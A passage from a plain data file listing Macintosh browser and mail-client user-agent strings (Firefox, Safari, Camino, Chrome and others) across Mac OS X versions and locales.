Mac OS X 10.5; nl; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9.1) Gecko/20090612 Firefox/3.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pl; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 FBSMTWB\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pl; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pt-BR; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pt-PT; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9) Gecko/2008061004 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; sv-SE; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; sv-SE; rv:1.9.0.2) Gecko/2008090512 Firefox/3.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; sv-SE; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; sv-SE; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; zh-CN; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; zh-CN; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; zh-CN; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6.0; en-US; rv:1.9.0.7) Gecko/2009030517 Minefield/3.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6.1; en-US; rv:1.9) Gecko/2008061712 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 FirePHP/0.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9) Gecko/2008061712 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13; ) Gecko/20101203\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100402 Prism/1.0b4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.3a1pre) Gecko/20091002 Minefield/3.7a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.3a1pre) Gecko/20100103 Minefield/3.7a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.3a3pre) Gecko/20100306 Minefield/3.7a3pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.3a4pre) Gecko/20100318 Minefield/3.7a4pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.0.18) Gecko/2010021619 Camino/2.0.2 (like Firefox/3.0.18)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.0.19) Gecko/2010111021 Camino/2.0.6 (MultiLang) (like Firefox/3.0.19)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.2.14pre)   Gecko/20101212 Camino/2.1a1pre (like Firefox/3.6.14pre)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.2.14pre) Gecko/20101212 Camino/2.1a1pre (like Firefox/3.6.14pre)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.2.29pre) Gecko/20130101 Camino/2.1.3pre (like Firefox/3.6.29pre)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.2.8) Gecko/20100805 Firefox/3.6.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.23) Gecko/20110920 Firefox/3.6.23\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.28) Gecko/20120308 Camino/2.1.2 (MultiLang) (like Firefox/3.6.28)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; gl; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; he; rv:1.9.1b4pre) Gecko/20100405 Firefox/3.6.3plugin1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; nb-NO; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; nl; rv:1.9.0.19) Gecko/2010051911 Camino/2.0.3 (MultiLang) (like Firefox/3.0.19)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; nl; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; pt-BR; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; sv-SE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6;en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.8; it; rv:1.9.2.28) Gecko/20120308 Camino/2.1.2 (MultiLang) (like Firefox/3.6.28)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.8; it; rv:1.9.2.28) Gecko/20130628 Camino/3.245.226 (MultiLang) (like Firefox/3.621.218)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.8; it; rv:1.93.26.2658) Gecko/20141026 Camino/2.176.223 (MultiLang) (like Firefox/3.64.2268)0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; cy) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/525.13 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Sunrise/1.7.4 like Safari/4525.22\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/528.16 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/530.1+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en-GB) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en-us) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Safari/525.22\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; fi-fi) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; pt-pt) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; ru-ru) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; ta) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_1; en-gb) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_1; en-us) AppleWebKit/525.2+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_1; en-us) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-au) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-au) AppleWebKit/525.8+ (KHTML, like Gecko) Version/3.1 Safari/525.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-gb) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Sunrise/1.7.1 like Safari/5525.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.7 (KHTML, like Gecko) Version/3.1 Safari/525.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/526+ (KHTML, like Gecko) Version/3.0.4 Safari/523.15\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/526.1+ (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; fr-fr) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; it-it) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; nb-no) AppleWebKit/525.8+ (KHTML, like Gecko) Version/3.0.4 Safari/523.15\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; pt-br) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3 ; en-GB; ) Gecko/20061010 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.15\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-us) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.2.1 Safari/525.19\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; es-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; hu-hu) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nb-no) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/525.21 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/525.27 (KHTML, like Gecko) Version/3.2.1 Safari/525.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/526.1+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/527.2+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.1 (KHTML, like Gecko) Version/4.0 Safari/528.1 Stainless/0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; fr-fr) AppleWebKit/527.2+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; ko-kr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; nb-no) AppleWebKit/528.1+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; nl-nl) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0 Safari/528.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-au) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-gb) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.18 (KHTML, like Gecko) NetNewsWire/3.1.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4.5 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/528.1 (KHTML, like Gecko) Stainless/0.3.5 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/528.1 (KHTML, like Gecko) Version/4.0 Safari/528.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/528.11+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/528.7+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; es-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; it-it) AppleWebKit/525.18 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; it-it) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Sunrise/1.7.5 like Safari/5525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ja-jp) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; nl-nl) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; nl-nl) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; pl-pl) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; zh-tw) AppleWebKit/525.18 (KHTML, like Gecko) Stainless/0.3 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4.5 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6 ; en-GB; ) Gecko/20061010 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; da-dk) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; de-de) AppleWebKit/525.27.1 (KHTML, like Gecko) NetNewsWire/3.1.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; de-de) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; de-de) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit /530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0 Safari/528.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Fluid/0.9.6 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Stainless/0.5.3 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.7+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.0+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.4+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.5+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.7+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4.5 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; es-es) AppleWebKit/525.27.1 